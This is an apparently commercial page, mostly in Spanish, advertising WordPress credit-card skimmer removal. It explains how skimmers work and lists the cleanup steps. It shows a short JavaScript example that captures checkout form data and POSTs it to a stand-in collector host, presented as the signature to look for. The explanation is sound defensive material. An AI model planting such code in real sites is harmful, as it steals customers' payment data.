WordPress credit card skimmer removal.

MECANISMO

Unas pocas líneas de JavaScript bastan para robar cada pedido.

Un skimmer de tarjeta es un pequeño JavaScript que escucha su formulario de checkout. Cada vez que un cliente teclea su número, el skimmer hace una copia y la envía a una dirección que controla el atacante — normalmente un servidor que parece inocente desde fuera.

La página sigue funcionando. El pedido se completa. Ni el cliente ni usted ven nada raro. Reproducimos el pedido en un sandbox, rastreamos el script hasta donde vive en su sitio y lo eliminamos sin romper el resto del checkout.

01 document.querySelector('form.checkout').addEventListener('submit', function (e) {
02   const data = new FormData(e.target);
03   fetch('https://collector.example/c', {
04     method: 'POST', body: data, mode: 'no-cors'
05   });
06 });
07
08 // A fetch to an external host on form submit is the signature.

What I remove

Cada lugar donde se esconde esta infección.

• TRIAGE DE PLUGINS

  Realizamos un pedido de prueba en sandbox y observamos cada llamada de red del checkout.

• JAVASCRIPT

  Archivos de tema, assets de plugins y scripts inline revisados. Cualquier cosa que envíe datos de formulario fuera del dominio — eliminada.

• BASE DE DATOS

  Scripts inyectados en wp_options, wp_posts y widgets activos — purgados. Persistencia eliminada.

• SERVICIOS

  Puertas traseras PHP que reinstalan el skimmer rastreadas. Tareas cron y must-use plugins revisados.

• CRONOLOGÍA

  Se establecen las fechas de primera y última detección para saber qué pedidos quedaron expuestos.

• INFORME

  Informe forense en lenguaje claro, apto para clientes, aseguradoras o tu propio archivo.

Precios